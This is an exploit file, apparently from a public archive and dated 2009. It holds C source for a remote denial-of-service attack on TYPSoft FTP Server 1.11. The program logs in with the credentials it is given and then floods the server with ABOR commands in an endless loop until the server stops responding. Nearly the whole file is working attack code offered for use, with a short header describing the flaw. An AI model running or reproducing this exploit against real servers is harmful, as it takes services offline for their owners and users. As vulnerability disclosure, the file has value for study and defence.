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typsoft-dos.txt

Posted on 11 May 2009

/*
Soft   :  TYPSoft FTP Server
Version:  1.11

Denial of Service in TYPSoft FTP Server up to 1.11 (no crash)
Just the server is saturated, it stops responding.

--------------------------------------------------------------------------------------
The vulnerability is caused due to an error in handling the request (ABOR).
This can be exploited to satured the FTP service, and make the server inaccessible
for several days.
--------------------------------------------------------------------------------------

Author	: Jonathan Salwan
Mail	: submit AT shell-storm.org
Web	: http://www.shell-storm.org
*/

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

int syntax(char *file)
{
fprintf(stderr,"TYPSoft FTP Server Remote Denial of Service
");
fprintf(stderr,"=>Syntax : <%s> <ip> <port> <user> <pass>
",file);
fprintf(stderr,"         : %s 127.0.0.1 21 anonymous aaa
",file);
exit(0);
}

int main(int argc, char **argv)
{
if (argc < 2)
syntax(argv[0]);

int port = atoi(argv[2]);

int mysocket;
int mysocket2;
int srv_connect;
int sockaddr_long;


struct sockaddr_in sockaddr_mysocket;
sockaddr_long = sizeof(sockaddr_mysocket);
sockaddr_mysocket.sin_family = AF_INET;
sockaddr_mysocket.sin_addr.s_addr = inet_addr(argv[1]);
sockaddr_mysocket.sin_port = htons(port);

char request[200];
char answer[500];

fprintf(stdout,"[+]TYPSoft FTP Server %s
",argv[1]);

mysocket2 = socket(AF_INET, SOCK_STREAM, 0);
if(mysocket2 == -1){
return 1;}

srv_connect = connect(mysocket2, (struct sockaddr*)&sockaddr_mysocket, sockaddr_long);

if (srv_connect != -1)
{
recv(mysocket2,answer,sizeof(answer),0);

fprintf(stdout,"[+]Connexion		[OK]
");

sprintf(request, "USER %s
", argv[3]);

if (send(mysocket2,request,sizeof(request),0) == -1){
fprintf(stderr,"[-]Send Request User		[FAILED]
");
shutdown(mysocket2,1);
return 1;}
fprintf(stdout,"[+]USER request		[OK]
");

sprintf(request, "PASS %s
", argv[4]);

if (send(mysocket2,request,sizeof(request),0) == -1){
fprintf(stderr,"[-]Send Request PASS		[FAILED]
");
shutdown(mysocket2,1);
return 1;}
fprintf(stdout,"[+]PASS request		[OK]
");

sprintf(request, "ABOR
");

fprintf(stdout,"[+]If exploit is active, the server is saturated, it stops responding...
");

while(1){
if (send(mysocket2,request,sizeof(request),0) == -1){
fprintf(stderr,"[-]Send Request ABOR		[FAILED]
");
shutdown(mysocket2,1);
return 1;}
}

}
else{
fprintf(stderr,"[-]Connect		[FAILED]
");
shutdown(mysocket2,1);
return 1;}

shutdown(mysocket2,1);

return 0;
}

 

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